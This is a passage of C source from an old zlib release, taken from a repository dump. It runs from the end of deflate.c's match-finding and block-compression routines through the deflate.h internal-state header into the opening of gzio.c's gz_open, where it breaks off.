                 *(ushf*)(scan+=2) == *(ushf*)(match+=2) &&
                 *(ushf*)(scan+=2) == *(ushf*)(match+=2) &&
                 scan < strend);
        /* The funny "do {}" generates better code on most compilers */

        /* Here, scan <= window+strstart+257 */
        Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan");
        if (*scan == *match) scan++;

        len = (MAX_MATCH - 1) - (int)(strend-scan);
        scan = strend - (MAX_MATCH-1);

#else /* UNALIGNED_OK */

        if (match[best_len]   != scan_end  ||
            match[best_len-1] != scan_end1 ||
            *match            != *scan     ||
            *++match          != scan[1])      continue;

        /* The check at best_len-1 can be removed because it will be made
         * again later. (This heuristic is not always a win.)
         * It is not necessary to compare scan[2] and match[2] since they
         * are always equal when the other bytes match, given that
         * the hash keys are equal and that HASH_BITS >= 8.
         */
        scan += 2, match++;
        Assert(*scan == *match, "match[2]?");

        /* We check for insufficient lookahead only every 8th comparison;
         * the 256th check will be made at strstart+258.
         */
        do {
        } while (*++scan == *++match && *++scan == *++match &&
                 *++scan == *++match && *++scan == *++match &&
                 *++scan == *++match && *++scan == *++match &&
                 *++scan == *++match && *++scan == *++match &&
                 scan < strend);

        Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan");

        len = MAX_MATCH - (int)(strend - scan);
        scan = strend - MAX_MATCH;

#endif /* UNALIGNED_OK */

        if (len > best_len) {
            s->match_start = cur_match;
            best_len = len;
            if (len >= nice_match) break;
#ifdef UNALIGNED_OK
            scan_end = *(ushf*)(scan+best_len-1);
#else
            scan_end1  = scan[best_len-1];
            scan_end   = scan[best_len];
#endif
        }
    } while ((cur_match = prev[cur_match & wmask]) > limit
             && --chain_length != 0);

    if ((uInt)best_len <= s->lookahead) return (uInt)best_len;
    return s->lookahead;
}

#else /* FASTEST */
/* ---------------------------------------------------------------------------
 * Optimized version for level == 1 only
 */
local uInt longest_match(s, cur_match)
    deflate_state *s;
    IPos cur_match;                             /* current match */
{
    register Bytef *scan = s->window + s->strstart; /* current string */
    register Bytef *match;                       /* matched string */
    register int len;                           /* length of current match */
    register Bytef *strend = s->window + s->strstart + MAX_MATCH;

    /* The code is optimized for HASH_BITS >= 8 and MAX_MATCH-2 multiple of 16.
     * It is easy to get rid of this optimization if necessary.
     */
    Assert(s->hash_bits >= 8 && MAX_MATCH == 258, "Code too clever");

    Assert((ulg)s->strstart <= s->window_size-MIN_LOOKAHEAD, "need lookahead");

    Assert(cur_match < s->strstart, "no future");

    match = s->window + cur_match;

    /* Return failure if the match length is less than 2:
     */
    if (match[0] != scan[0] || match[1] != scan[1]) return MIN_MATCH-1;

    /* The check at best_len-1 can be removed because it will be made
     * again later. (This heuristic is not always a win.)
     * It is not necessary to compare scan[2] and match[2] since they
     * are always equal when the other bytes match, given that
     * the hash keys are equal and that HASH_BITS >= 8.
     */
    scan += 2, match += 2;
    Assert(*scan == *match, "match[2]?");

    /* We check for insufficient lookahead only every 8th comparison;
     * the 256th check will be made at strstart+258.
     */
    do {
    } while (*++scan == *++match && *++scan == *++match &&
	     *++scan == *++match && *++scan == *++match &&
	     *++scan == *++match && *++scan == *++match &&
	     *++scan == *++match && *++scan == *++match &&
	     scan < strend);

    Assert(scan <= s->window+(unsigned)(s->window_size-1), "wild scan");

    len = MAX_MATCH - (int)(strend - scan);

    if (len < MIN_MATCH) return MIN_MATCH - 1;

    s->match_start = cur_match;
    return len <= s->lookahead ? len : s->lookahead;
}
#endif /* FASTEST */
#endif /* ASMV */

#ifdef DEBUG
/* ===========================================================================
 * Check that the match at match_start is indeed a match.
 */
local void check_match(s, start, match, length)
    deflate_state *s;
    IPos start, match;
    int length;
{
    /* check that the match is indeed a match */
    if (zmemcmp(s->window + match,
                s->window + start, length) != EQUAL) {
        fprintf(stderr, " start %u, match %u, length %d\n",
		start, match, length);
        do {
	    fprintf(stderr, "%c%c", s->window[match++], s->window[start++]);
	} while (--length != 0);
        z_error("invalid match");
    }
    if (z_verbose > 1) {
        fprintf(stderr,"\\[%d,%d]", start-match, length);
        do { putc(s->window[start++], stderr); } while (--length != 0);
    }
}
#else
#  define check_match(s, start, match, length)
#endif

/* ===========================================================================
 * Fill the window when the lookahead becomes insufficient.
 * Updates strstart and lookahead.
 *
 * IN assertion: lookahead < MIN_LOOKAHEAD
 * OUT assertions: strstart <= window_size-MIN_LOOKAHEAD
 *    At least one byte has been read, or avail_in == 0; reads are
 *    performed for at least two bytes (required for the zip translate_eol
 *    option -- not supported here).
 */
local void fill_window(s)
    deflate_state *s;
{
    register unsigned n, m;
    register Posf *p;
    unsigned more;    /* Amount of free space at the end of the window. */
    uInt wsize = s->w_size;

    do {
        more = (unsigned)(s->window_size -(ulg)s->lookahead -(ulg)s->strstart);

        /* Deal with !@#$% 64K limit: */
        if (more == 0 && s->strstart == 0 && s->lookahead == 0) {
            more = wsize;

        } else if (more == (unsigned)(-1)) {
            /* Very unlikely, but possible on 16 bit machine if strstart == 0
             * and lookahead == 1 (input done one byte at time)
             */
            more--;

        /* If the window is almost full and there is insufficient lookahead,
         * move the upper half to the lower one to make room in the upper half.
         */
        } else if (s->strstart >= wsize+MAX_DIST(s)) {

            zmemcpy(s->window, s->window+wsize, (unsigned)wsize);
            s->match_start -= wsize;
            s->strstart    -= wsize; /* we now have strstart >= MAX_DIST */
            s->block_start -= (long) wsize;

            /* Slide the hash table (could be avoided with 32 bit values
               at the expense of memory usage). We slide even when level == 0
               to keep the hash table consistent if we switch back to level > 0
               later. (Using level 0 permanently is not an optimal usage of
               zlib, so we don't care about this pathological case.)
             */
	    n = s->hash_size;
	    p = &s->head[n];
	    do {
		m = *--p;
		*p = (Pos)(m >= wsize ? m-wsize : NIL);
	    } while (--n);

	    n = wsize;
#ifndef FASTEST
	    p = &s->prev[n];
	    do {
		m = *--p;
		*p = (Pos)(m >= wsize ? m-wsize : NIL);
		/* If n is not on any hash chain, prev[n] is garbage but
		 * its value will never be used.
		 */
	    } while (--n);
#endif
            more += wsize;
        }
        if (s->strm->avail_in == 0) return;

        /* If there was no sliding:
         *    strstart <= WSIZE+MAX_DIST-1 && lookahead <= MIN_LOOKAHEAD - 1 &&
         *    more == window_size - lookahead - strstart
         * => more >= window_size - (MIN_LOOKAHEAD-1 + WSIZE + MAX_DIST-1)
         * => more >= window_size - 2*WSIZE + 2
         * In the BIG_MEM or MMAP case (not yet supported),
         *   window_size == input_size + MIN_LOOKAHEAD  &&
         *   strstart + s->lookahead <= input_size => more >= MIN_LOOKAHEAD.
         * Otherwise, window_size == 2*WSIZE so more >= 2.
         * If there was sliding, more >= WSIZE. So in all cases, more >= 2.
         */
        Assert(more >= 2, "more < 2");

        n = read_buf(s->strm, s->window + s->strstart + s->lookahead, more);
        s->lookahead += n;

        /* Initialize the hash value now that we have some input: */
        if (s->lookahead >= MIN_MATCH) {
            s->ins_h = s->window[s->strstart];
            UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]);
#if MIN_MATCH != 3
            Call UPDATE_HASH() MIN_MATCH-3 more times
#endif
        }
        /* If the whole input has less than MIN_MATCH bytes, ins_h is garbage,
         * but this is not important since only literal bytes will be emitted.
         */

    } while (s->lookahead < MIN_LOOKAHEAD && s->strm->avail_in != 0);
}

/* ===========================================================================
 * Flush the current block, with given end-of-file flag.
 * IN assertion: strstart is set to the end of the current match.
 */
#define FLUSH_BLOCK_ONLY(s, eof) { \
   _tr_flush_block(s, (s->block_start >= 0L ? \
                   (charf *)&s->window[(unsigned)s->block_start] : \
                   (charf *)Z_NULL), \
		(ulg)((long)s->strstart - s->block_start), \
		(eof)); \
   s->block_start = s->strstart; \
   flush_pending(s->strm); \
   Tracev((stderr,"[FLUSH]")); \
}

/* Same but force premature exit if necessary. */
#define FLUSH_BLOCK(s, eof) { \
   FLUSH_BLOCK_ONLY(s, eof); \
   if (s->strm->avail_out == 0) return (eof) ? finish_started : need_more; \
}

/* ===========================================================================
 * Copy without compression as much as possible from the input stream, return
 * the current block state.
 * This function does not insert new strings in the dictionary since
 * uncompressible data is probably not useful. This function is used
 * only for the level=0 compression option.
 * NOTE: this function should be optimized to avoid extra copying from
 * window to pending_buf.
 */
local block_state deflate_stored(s, flush)
    deflate_state *s;
    int flush;
{
    /* Stored blocks are limited to 0xffff bytes, pending_buf is limited
     * to pending_buf_size, and each stored block has a 5 byte header:
     */
    ulg max_block_size = 0xffff;
    ulg max_start;

    if (max_block_size > s->pending_buf_size - 5) {
        max_block_size = s->pending_buf_size - 5;
    }

    /* Copy as much as possible from input to output: */
    for (;;) {
        /* Fill the window as much as possible: */
        if (s->lookahead <= 1) {

            Assert(s->strstart < s->w_size+MAX_DIST(s) ||
		   s->block_start >= (long)s->w_size, "slide too late");

            fill_window(s);
            if (s->lookahead == 0 && flush == Z_NO_FLUSH) return need_more;

            if (s->lookahead == 0) break; /* flush the current block */
        }
	Assert(s->block_start >= 0L, "block gone");

	s->strstart += s->lookahead;
	s->lookahead = 0;

	/* Emit a stored block if pending_buf will be full: */
 	max_start = s->block_start + max_block_size;
        if (s->strstart == 0 || (ulg)s->strstart >= max_start) {
	    /* strstart == 0 is possible when wraparound on 16-bit machine */
	    s->lookahead = (uInt)(s->strstart - max_start);
	    s->strstart = (uInt)max_start;
            FLUSH_BLOCK(s, 0);
	}
	/* Flush if we may have to slide, otherwise block_start may become
         * negative and the data will be gone:
         */
        if (s->strstart - (uInt)s->block_start >= MAX_DIST(s)) {
            FLUSH_BLOCK(s, 0);
	}
    }
    FLUSH_BLOCK(s, flush == Z_FINISH);
    return flush == Z_FINISH ? finish_done : block_done;
}

/* ===========================================================================
 * Compress as much as possible from the input stream, return the current
 * block state.
 * This function does not perform lazy evaluation of matches and inserts
 * new strings in the dictionary only for unmatched strings or for short
 * matches. It is used only for the fast compression options.
 */
local block_state deflate_fast(s, flush)
    deflate_state *s;
    int flush;
{
    IPos hash_head = NIL; /* head of the hash chain */
    int bflush;           /* set if current block must be flushed */

    for (;;) {
        /* Make sure that we always have enough lookahead, except
         * at the end of the input file. We need MAX_MATCH bytes
         * for the next match, plus MIN_MATCH bytes to insert the
         * string following the next match.
         */
        if (s->lookahead < MIN_LOOKAHEAD) {
            fill_window(s);
            if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) {
	        return need_more;
	    }
            if (s->lookahead == 0) break; /* flush the current block */
        }

        /* Insert the string window[strstart .. strstart+2] in the
         * dictionary, and set hash_head to the head of the hash chain:
         */
        if (s->lookahead >= MIN_MATCH) {
            INSERT_STRING(s, s->strstart, hash_head);
        }

        /* Find the longest match, discarding those <= prev_length.
         * At this point we have always match_length < MIN_MATCH
         */
        if (hash_head != NIL && s->strstart - hash_head <= MAX_DIST(s)) {
            /* To simplify the code, we prevent matches with the string
             * of window index 0 (in particular we have to avoid a match
             * of the string with itself at the start of the input file).
             */
            if (s->strategy != Z_HUFFMAN_ONLY) {
                s->match_length = longest_match (s, hash_head);
            }
            /* longest_match() sets match_start */
        }
        if (s->match_length >= MIN_MATCH) {
            check_match(s, s->strstart, s->match_start, s->match_length);

            _tr_tally_dist(s, s->strstart - s->match_start,
                           s->match_length - MIN_MATCH, bflush);

            s->lookahead -= s->match_length;

            /* Insert new strings in the hash table only if the match length
             * is not too large. This saves time but degrades compression.
             */
#ifndef FASTEST
            if (s->match_length <= s->max_insert_length &&
                s->lookahead >= MIN_MATCH) {
                s->match_length--; /* string at strstart already in hash table */
                do {
                    s->strstart++;
                    INSERT_STRING(s, s->strstart, hash_head);
                    /* strstart never exceeds WSIZE-MAX_MATCH, so there are
                     * always MIN_MATCH bytes ahead.
                     */
                } while (--s->match_length != 0);
                s->strstart++; 
            } else
#endif
	    {
                s->strstart += s->match_length;
                s->match_length = 0;
                s->ins_h = s->window[s->strstart];
                UPDATE_HASH(s, s->ins_h, s->window[s->strstart+1]);
#if MIN_MATCH != 3
                Call UPDATE_HASH() MIN_MATCH-3 more times
#endif
                /* If lookahead < MIN_MATCH, ins_h is garbage, but it does not
                 * matter since it will be recomputed at next deflate call.
                 */
            }
        } else {
            /* No match, output a literal byte */
            Tracevv((stderr,"%c", s->window[s->strstart]));
            _tr_tally_lit (s, s->window[s->strstart], bflush);
            s->lookahead--;
            s->strstart++; 
        }
        if (bflush) FLUSH_BLOCK(s, 0);
    }
    FLUSH_BLOCK(s, flush == Z_FINISH);
    return flush == Z_FINISH ? finish_done : block_done;
}

/* ===========================================================================
 * Same as above, but achieves better compression. We use a lazy
 * evaluation for matches: a match is finally adopted only if there is
 * no better match at the next window position.
 */
local block_state deflate_slow(s, flush)
    deflate_state *s;
    int flush;
{
    IPos hash_head = NIL;    /* head of hash chain */
    int bflush;              /* set if current block must be flushed */

    /* Process the input block. */
    for (;;) {
        /* Make sure that we always have enough lookahead, except
         * at the end of the input file. We need MAX_MATCH bytes
         * for the next match, plus MIN_MATCH bytes to insert the
         * string following the next match.
         */
        if (s->lookahead < MIN_LOOKAHEAD) {
            fill_window(s);
            if (s->lookahead < MIN_LOOKAHEAD && flush == Z_NO_FLUSH) {
	        return need_more;
	    }
            if (s->lookahead == 0) break; /* flush the current block */
        }

        /* Insert the string window[strstart .. strstart+2] in the
         * dictionary, and set hash_head to the head of the hash chain:
         */
        if (s->lookahead >= MIN_MATCH) {
            INSERT_STRING(s, s->strstart, hash_head);
        }

        /* Find the longest match, discarding those <= prev_length.
         */
        s->prev_length = s->match_length, s->prev_match = s->match_start;
        s->match_length = MIN_MATCH-1;

        if (hash_head != NIL && s->prev_length < s->max_lazy_match &&
            s->strstart - hash_head <= MAX_DIST(s)) {
            /* To simplify the code, we prevent matches with the string
             * of window index 0 (in particular we have to avoid a match
             * of the string with itself at the start of the input file).
             */
            if (s->strategy != Z_HUFFMAN_ONLY) {
                s->match_length = longest_match (s, hash_head);
            }
            /* longest_match() sets match_start */

            if (s->match_length <= 5 && (s->strategy == Z_FILTERED ||
                 (s->match_length == MIN_MATCH &&
                  s->strstart - s->match_start > TOO_FAR))) {

                /* If prev_match is also MIN_MATCH, match_start is garbage
                 * but we will ignore the current match anyway.
                 */
                s->match_length = MIN_MATCH-1;
            }
        }
        /* If there was a match at the previous step and the current
         * match is not better, output the previous match:
         */
        if (s->prev_length >= MIN_MATCH && s->match_length <= s->prev_length) {
            uInt max_insert = s->strstart + s->lookahead - MIN_MATCH;
            /* Do not insert strings in hash table beyond this. */

            check_match(s, s->strstart-1, s->prev_match, s->prev_length);

            _tr_tally_dist(s, s->strstart -1 - s->prev_match,
			   s->prev_length - MIN_MATCH, bflush);

            /* Insert in hash table all strings up to the end of the match.
             * strstart-1 and strstart are already inserted. If there is not
             * enough lookahead, the last two strings are not inserted in
             * the hash table.
             */
            s->lookahead -= s->prev_length-1;
            s->prev_length -= 2;
            do {
                if (++s->strstart <= max_insert) {
                    INSERT_STRING(s, s->strstart, hash_head);
                }
            } while (--s->prev_length != 0);
            s->match_available = 0;
            s->match_length = MIN_MATCH-1;
            s->strstart++;

            if (bflush) FLUSH_BLOCK(s, 0);

        } else if (s->match_available) {
            /* If there was no match at the previous position, output a
             * single literal. If there was a match but the current match
             * is longer, truncate the previous match to a single literal.
             */
            Tracevv((stderr,"%c", s->window[s->strstart-1]));
	    _tr_tally_lit(s, s->window[s->strstart-1], bflush);
	    if (bflush) {
                FLUSH_BLOCK_ONLY(s, 0);
            }
            s->strstart++;
            s->lookahead--;
            if (s->strm->avail_out == 0) return need_more;
        } else {
            /* There is no previous match to compare with, wait for
             * the next step to decide.
             */
            s->match_available = 1;
            s->strstart++;
            s->lookahead--;
        }
    }
    Assert (flush != Z_NO_FLUSH, "no flush?");
    if (s->match_available) {
        Tracevv((stderr,"%c", s->window[s->strstart-1]));
        _tr_tally_lit(s, s->window[s->strstart-1], bflush);
        s->match_available = 0;
    }
    FLUSH_BLOCK(s, flush == Z_FINISH);
    return flush == Z_FINISH ? finish_done : block_done;
}








源码/Zip/deflate.h

/* deflate.h -- internal compression state
 * Copyright (C) 1995-2002 Jean-loup Gailly
 * For conditions of distribution and use, see copyright notice in zlib.h 
 */

/* WARNING: this file should *not* be used by applications. It is
   part of the implementation of the compression library and is
   subject to change. Applications should only use zlib.h.
 */

/* @(#) $Id$ */

#ifndef _DEFLATE_H
#define _DEFLATE_H

#include "zutil.h"

/* ===========================================================================
 * Internal compression state.
 */

#define LENGTH_CODES 29
/* number of length codes, not counting the special END_BLOCK code */

#define LITERALS  256
/* number of literal bytes 0..255 */

#define L_CODES (LITERALS+1+LENGTH_CODES)
/* number of Literal or Length codes, including the END_BLOCK code */

#define D_CODES   30
/* number of distance codes */

#define BL_CODES  19
/* number of codes used to transfer the bit lengths */

#define HEAP_SIZE (2*L_CODES+1)
/* maximum heap size */

#define MAX_BITS 15
/* All codes must not exceed MAX_BITS bits */

#define INIT_STATE    42
#define BUSY_STATE   113
#define FINISH_STATE 666
/* Stream status */


/* Data structure describing a single value and its code string. */
typedef struct ct_data_s {
    union {
        ush  freq;       /* frequency count */
        ush  code;       /* bit string */
    } fc;
    union {
        ush  dad;        /* father node in Huffman tree */
        ush  len;        /* length of bit string */
    } dl;
} FAR ct_data;

#define Freq fc.freq
#define Code fc.code
#define Dad  dl.dad
#define Len  dl.len

typedef struct static_tree_desc_s  static_tree_desc;

typedef struct tree_desc_s {
    ct_data *dyn_tree;           /* the dynamic tree */
    int     max_code;            /* largest code with non zero frequency */
    static_tree_desc *stat_desc; /* the corresponding static tree */
} FAR tree_desc;

typedef ush Pos;
typedef Pos FAR Posf;
typedef unsigned IPos;

/* A Pos is an index in the character window. We use short instead of int to
 * save space in the various tables. IPos is used only for parameter passing.
 */

typedef struct internal_state {
    z_streamp strm;      /* pointer back to this zlib stream */
    int   status;        /* as the name implies */
    Bytef *pending_buf;  /* output still pending */
    ulg   pending_buf_size; /* size of pending_buf */
    Bytef *pending_out;  /* next pending byte to output to the stream */
    int   pending;       /* nb of bytes in the pending buffer */
    int   noheader;      /* suppress zlib header and adler32 */
    Byte  data_type;     /* UNKNOWN, BINARY or ASCII */
    Byte  method;        /* STORED (for zip only) or DEFLATED */
    int   last_flush;    /* value of flush param for previous deflate call */

                /* used by deflate.c: */

    uInt  w_size;        /* LZ77 window size (32K by default) */
    uInt  w_bits;        /* log2(w_size)  (8..16) */
    uInt  w_mask;        /* w_size - 1 */

    Bytef *window;
    /* Sliding window. Input bytes are read into the second half of the window,
     * and move to the first half later to keep a dictionary of at least wSize
     * bytes. With this organization, matches are limited to a distance of
     * wSize-MAX_MATCH bytes, but this ensures that IO is always
     * performed with a length multiple of the block size. Also, it limits
     * the window size to 64K, which is quite useful on MSDOS.
     * To do: use the user input buffer as sliding window.
     */

    ulg window_size;
    /* Actual size of window: 2*wSize, except when the user input buffer
     * is directly used as sliding window.
     */

    Posf *prev;
    /* Link to older string with same hash index. To limit the size of this
     * array to 64K, this link is maintained only for the last 32K strings.
     * An index in this array is thus a window index modulo 32K.
     */

    Posf *head; /* Heads of the hash chains or NIL. */

    uInt  ins_h;          /* hash index of string to be inserted */
    uInt  hash_size;      /* number of elements in hash table */
    uInt  hash_bits;      /* log2(hash_size) */
    uInt  hash_mask;      /* hash_size-1 */

    uInt  hash_shift;
    /* Number of bits by which ins_h must be shifted at each input
     * step. It must be such that after MIN_MATCH steps, the oldest
     * byte no longer takes part in the hash key, that is:
     *   hash_shift * MIN_MATCH >= hash_bits
     */

    long block_start;
    /* Window position at the beginning of the current output block. Gets
     * negative when the window is moved backwards.
     */

    uInt match_length;           /* length of best match */
    IPos prev_match;             /* previous match */
    int match_available;         /* set if previous match exists */
    uInt strstart;               /* start of string to insert */
    uInt match_start;            /* start of matching string */
    uInt lookahead;              /* number of valid bytes ahead in window */

    uInt prev_length;
    /* Length of the best match at previous step. Matches not greater than this
     * are discarded. This is used in the lazy match evaluation.
     */

    uInt max_chain_length;
    /* To speed up deflation, hash chains are never searched beyond this
     * length.  A higher limit improves compression ratio but degrades the
     * speed.
     */

    uInt max_lazy_match;
    /* Attempt to find a better match only when the current match is strictly
     * smaller than this value. This mechanism is used only for compression
     * levels >= 4.
     */
#   define max_insert_length  max_lazy_match
    /* Insert new strings in the hash table only if the match length is not
     * greater than this length. This saves time but degrades compression.
     * max_insert_length is used only for compression levels <= 3.
     */

    int level;    /* compression level (1..9) */
    int strategy; /* favor or force Huffman coding*/

    uInt good_match;
    /* Use a faster search when the previous match is longer than this */

    int nice_match; /* Stop searching when current match exceeds this */

                /* used by trees.c: */
    /* Didn't use ct_data typedef below to supress compiler warning */
    struct ct_data_s dyn_ltree[HEAP_SIZE];   /* literal and length tree */
    struct ct_data_s dyn_dtree[2*D_CODES+1]; /* distance tree */
    struct ct_data_s bl_tree[2*BL_CODES+1];  /* Huffman tree for bit lengths */

    struct tree_desc_s l_desc;               /* desc. for literal tree */
    struct tree_desc_s d_desc;               /* desc. for distance tree */
    struct tree_desc_s bl_desc;              /* desc. for bit length tree */

    ush bl_count[MAX_BITS+1];
    /* number of codes at each bit length for an optimal tree */

    int heap[2*L_CODES+1];      /* heap used to build the Huffman trees */
    int heap_len;               /* number of elements in the heap */
    int heap_max;               /* element of largest frequency */
    /* The sons of heap[n] are heap[2*n] and heap[2*n+1]. heap[0] is not used.
     * The same heap array is used to build all trees.
     */

    uch depth[2*L_CODES+1];
    /* Depth of each subtree used as tie breaker for trees of equal frequency
     */

    uchf *l_buf;          /* buffer for literals or lengths */

    uInt  lit_bufsize;
    /* Size of match buffer for literals/lengths.  There are 4 reasons for
     * limiting lit_bufsize to 64K:
     *   - frequencies can be kept in 16 bit counters
     *   - if compression is not successful for the first block, all input
     *     data is still in the window so we can still emit a stored block even
     *     when input comes from standard input.  (This can also be done for
     *     all blocks if lit_bufsize is not greater than 32K.)
     *   - if compression is not successful for a file smaller than 64K, we can
     *     even emit a stored file instead of a stored block (saving 5 bytes).
     *     This is applicable only for zip (not gzip or zlib).
     *   - creating new Huffman trees less frequently may not provide fast
     *     adaptation to changes in the input data statistics. (Take for
     *     example a binary file with poorly compressible code followed by
     *     a highly compressible string table.) Smaller buffer sizes give
     *     fast adaptation but have of course the overhead of transmitting
     *     trees more frequently.
     *   - I can't count above 4
     */

    uInt last_lit;      /* running index in l_buf */

    ushf *d_buf;
    /* Buffer for distances. To simplify the code, d_buf and l_buf have
     * the same number of elements. To use different lengths, an extra flag
     * array would be necessary.
     */

    ulg opt_len;        /* bit length of current block with optimal trees */
    ulg static_len;     /* bit length of current block with static trees */
    uInt matches;       /* number of string matches in current block */
    int last_eob_len;   /* bit length of EOB code for last block */

#ifdef DEBUG
    ulg compressed_len; /* total bit length of compressed file mod 2^32 */
    ulg bits_sent;      /* bit length of compressed data sent mod 2^32 */
#endif

    ush bi_buf;
    /* Output buffer. bits are inserted starting at the bottom (least
     * significant bits).
     */
    int bi_valid;
    /* Number of valid bits in bi_buf.  All bits above the last valid bit
     * are always zero.
     */

} FAR deflate_state;

/* Output a byte on the stream.
 * IN assertion: there is enough room in pending_buf.
 */
#define put_byte(s, c) {s->pending_buf[s->pending++] = (c);}


#define MIN_LOOKAHEAD (MAX_MATCH+MIN_MATCH+1)
/* Minimum amount of lookahead, except at the end of the input file.
 * See deflate.c for comments about the MIN_MATCH+1.
 */

#define MAX_DIST(s)  ((s)->w_size-MIN_LOOKAHEAD)
/* In order to simplify the code, particularly on 16 bit machines, match
 * distances are limited to MAX_DIST instead of WSIZE.
 */

        /* in trees.c */
void _tr_init         OF((deflate_state *s));
int  _tr_tally        OF((deflate_state *s, unsigned dist, unsigned lc));
void _tr_flush_block  OF((deflate_state *s, charf *buf, ulg stored_len,
			  int eof));
void _tr_align        OF((deflate_state *s));
void _tr_stored_block OF((deflate_state *s, charf *buf, ulg stored_len,
                          int eof));

#define d_code(dist) \
   ((dist) < 256 ? _dist_code[dist] : _dist_code[256+((dist)>>7)])
/* Mapping from a distance to a distance code. dist is the distance - 1 and
 * must not have side effects. _dist_code[256] and _dist_code[257] are never
 * used.
 */

#ifndef DEBUG
/* Inline versions of _tr_tally for speed: */

#if defined(GEN_TREES_H) || !defined(STDC)
  extern uch _length_code[];
  extern uch _dist_code[];
#else
  extern const uch _length_code[];
  extern const uch _dist_code[];
#endif

# define _tr_tally_lit(s, c, flush) \
  { uch cc = (c); \
    s->d_buf[s->last_lit] = 0; \
    s->l_buf[s->last_lit++] = cc; \
    s->dyn_ltree[cc].Freq++; \
    flush = (s->last_lit == s->lit_bufsize-1); \
   }
# define _tr_tally_dist(s, distance, length, flush) \
  { uch len = (length); \
    ush dist = (distance); \
    s->d_buf[s->last_lit] = dist; \
    s->l_buf[s->last_lit++] = len; \
    dist--; \
    s->dyn_ltree[_length_code[len]+LITERALS+1].Freq++; \
    s->dyn_dtree[d_code(dist)].Freq++; \
    flush = (s->last_lit == s->lit_bufsize-1); \
  }
#else
# define _tr_tally_lit(s, c, flush) flush = _tr_tally(s, 0, c)
# define _tr_tally_dist(s, distance, length, flush) \
              flush = _tr_tally(s, distance, length) 
#endif

#endif








源码/Zip/gzio.c

/* gzio.c -- IO on .gz files
 * Copyright (C) 1995-2002 Jean-loup Gailly.
 * For conditions of distribution and use, see copyright notice in zlib.h
 *
 * Compile this file with -DNO_DEFLATE to avoid the compression code.
 */

/* @(#) $Id$ */

#include <stdio.h>

#include "zutil.h"

struct internal_state {int dummy;}; /* for buggy compilers */

#ifndef Z_BUFSIZE
#  ifdef MAXSEG_64K
#    define Z_BUFSIZE 4096 /* minimize memory usage for 16-bit DOS */
#  else
#    define Z_BUFSIZE 16384
#  endif
#endif
#ifndef Z_PRINTF_BUFSIZE
#  define Z_PRINTF_BUFSIZE 4096
#endif

#define ALLOC(size) malloc(size)
#define TRYFREE(p) {if (p) free(p);}

static int gz_magic[2] = {0x1f, 0x8b}; /* gzip magic header */

/* gzip flag byte */
#define ASCII_FLAG   0x01 /* bit 0 set: file probably ascii text */
#define HEAD_CRC     0x02 /* bit 1 set: header CRC present */
#define EXTRA_FIELD  0x04 /* bit 2 set: extra field present */
#define ORIG_NAME    0x08 /* bit 3 set: original file name present */
#define COMMENT      0x10 /* bit 4 set: file comment present */
#define RESERVED     0xE0 /* bits 5..7: reserved */

typedef struct gz_stream {
    z_stream stream;
    int      z_err;   /* error code for last stream operation */
    int      z_eof;   /* set if end of input file */
    FILE     *file;   /* .gz file */
    Byte     *inbuf;  /* input buffer */
    Byte     *outbuf; /* output buffer */
    uLong    crc;     /* crc32 of uncompressed data */
    char     *msg;    /* error message */
    char     *path;   /* path name for debugging only */
    int      transparent; /* 1 if input file is not a .gz file */
    char     mode;    /* 'w' or 'r' */
    long     startpos; /* start of compressed data in file (header skipped) */
} gz_stream;


local gzFile gz_open      OF((const char *path, const char *mode, int  fd));
local int do_flush        OF((gzFile file, int flush));
local int    get_byte     OF((gz_stream *s));
local void   check_header OF((gz_stream *s));
local int    destroy      OF((gz_stream *s));
local void   putLong      OF((FILE *file, uLong x));
local uLong  getLong      OF((gz_stream *s));

/* ===========================================================================
     Opens a gzip (.gz) file for reading or writing. The mode parameter
   is as in fopen ("rb" or "wb"). The file is given either by file descriptor
   or path name (if fd == -1).
     gz_open return NULL if the file could not be opened or if there was
   insufficient memory to allocate the (de)compression state; errno
   can be checked to distinguish the two cases (if errno is zero, the
   zlib error is Z_MEM_ERROR).
*/
local gzFile gz_open (path, mode, fd)
    const char *path;
    const char *mode;
    int  fd;
{
    int err;
    int level = Z_DEFAULT_COMPRESSION; /* compression level */
    int strategy = Z_DEFAULT_STRATEGY; /* compression strategy */
    char *p = (char*)mode;
    gz_stream *s;
    char fmode[80]; /* copy of mode, without the compression level */
    char *m = fmode;

    if (!path || !mode) return Z_NULL;

    s = (gz_stream *)ALLOC(sizeof(gz_stream));
    if (!s) return Z_NULL;

    s->stream.zalloc = (alloc_func)0;
    s->stream.zfree = (free_func)0;
    s->stream.opaque = (voidpf)0;
    s->stream.next_in = s->inbuf = Z_NULL;
    s->stream.next_out = s->outbuf = Z_NULL;
    s->stream.avail_in = s->stream.avail_out = 0;
    s->file = NULL;
    s->z_err = Z_OK;
    s->z_eof = 0;
    s->crc = crc32(0L, Z_NULL, 0);
    s->msg = NULL;
    s->transparent = 0;

    s->path = (char*)ALLOC(strlen(path)+1);
    if (s->path == NULL) {
        return destroy(s), (gzFile)Z_NULL;
    }
    strcpy(s->path, path); /* do this early for debugging */

    s->mode = '\0';
    do {
        if (*p == 'r') s->mode = 'r';
        if (*p == 'w' || *p == 'a') s->mode = 'w';
        if (*p >= '0' && *p <= '9') {
	    level = *p - '0';
	} else if (*p == 'f') {
	  strategy = Z_FILTERED;
	} else if (*p == 'h') {
	  strategy = Z_HUFFMAN_ONLY;
	} else {
	    *m++ = *p; /* copy the mode */
	}
    } while (*p++ && m != fmode + sizeof(fmode));
    if (s->mode == '\0') return destroy(s), (gzFile)Z_NULL;
    
    if (s->mode == 'w') {
#ifdef NO_DEFLATE
        err = Z_STREAM_ERROR;
#else
        err = deflateInit2(&(s->stream), level,
                           Z_DEFLATED, -MAX_WBITS, DEF_MEM_LEVEL, strategy);
        /* windowBits is passed < 0 to suppress zlib header */

        s->stream.next_out = s->outbuf = (Byte*)ALLOC(Z_BUFSIZE);
#endif
        if (err != Z_OK || s->outbuf == Z_NULL) {
            return destroy(s), (gzFile)Z_NULL;
        }
    } else {
        s->stream.next_in  = s->inbuf = (Byte*)ALLOC(Z_BUFSIZE);

        err = inflateInit2(&(s->stream), -MAX_WBITS);
        /* windowBits is passed < 0 to tell that there is no zlib header.
         * Note that in this case inflate *requires* an extra "dummy" byte
         * after the compressed stream in order to complete decompression and
         * return Z_STREAM_END. Here the gzip CRC32 ensures that 4 bytes are
         * present after the compressed stream.
         */
        if (err != Z_OK || s->inbuf == Z_NULL) {
            return destroy(s), (gzFile)Z_NULL;
        }
    }
